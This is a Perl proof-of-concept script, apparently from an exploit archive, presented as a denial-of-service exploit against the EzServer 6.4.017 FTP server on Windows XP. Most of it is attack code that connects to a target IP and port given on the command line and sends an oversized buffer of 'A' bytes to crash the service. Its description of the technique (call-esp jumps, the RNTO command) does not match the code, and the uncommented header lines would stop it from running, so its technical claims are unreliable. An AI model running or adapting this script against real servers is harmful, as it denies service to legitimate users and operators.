#!/usr/bin/perl

use IO::Socket;

Exploit Title: EzServer 6.4.017 - Denied of Service (DoS)

Discovery by: Fernando Mengali

Discovery Date: 22 january 2024

Vendor Homepage: N/A

Download to demo: https://drive.google.com/file/d/1hCYYsWsyeuoHTh3ZosNRbtIBxw0culsu/view?usp=sharing

Notification vendor: No reported

Tested Version: EzServer 6.4.017 - Denied of Service (DoS)

Tested on: Window XP Professional - Service Pack 2 and 3 - English

Vulnerability Type: Denied of Service (DoS)

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static ‘call esp’
#Backwards jump to code a known distance from the stack pointer.
#The FTP server does not correctly handle the amount of data or bytes sent to command RNTO.
#When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){  
  $cmd="cls";  
} else {  
  $cmd="clear";  
}

system("$cmd");

    intro();  
main();

    print "[+] Exploiting... \n";

my $payload = "\x41"x10698;

my $sock = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $port, Proto => 'tcp') or die "[-] Could not connect!\n";  
$sock->send($payload);  
$sock->close();

print "[+] Done - Exploited success!!!!!\n\n";

 sub intro {  
  print q {

                        _/|       
                       // o\      
                       || ._)    
                       //__\     
                       )___(   

  [+] EzServer 6.4.017 - Denied of Service (DoS)

  [*] Coded by Fernando Mengali

  [@] e-mail: [email protected]

  }  

}

sub main {

our ($ip, $port) = @ARGV;

  unless (defined($ip) && defined($port)) {

    print "       \nUsage: $0 <ip> <port>                 \n";  
    exit(-1);

  }  

}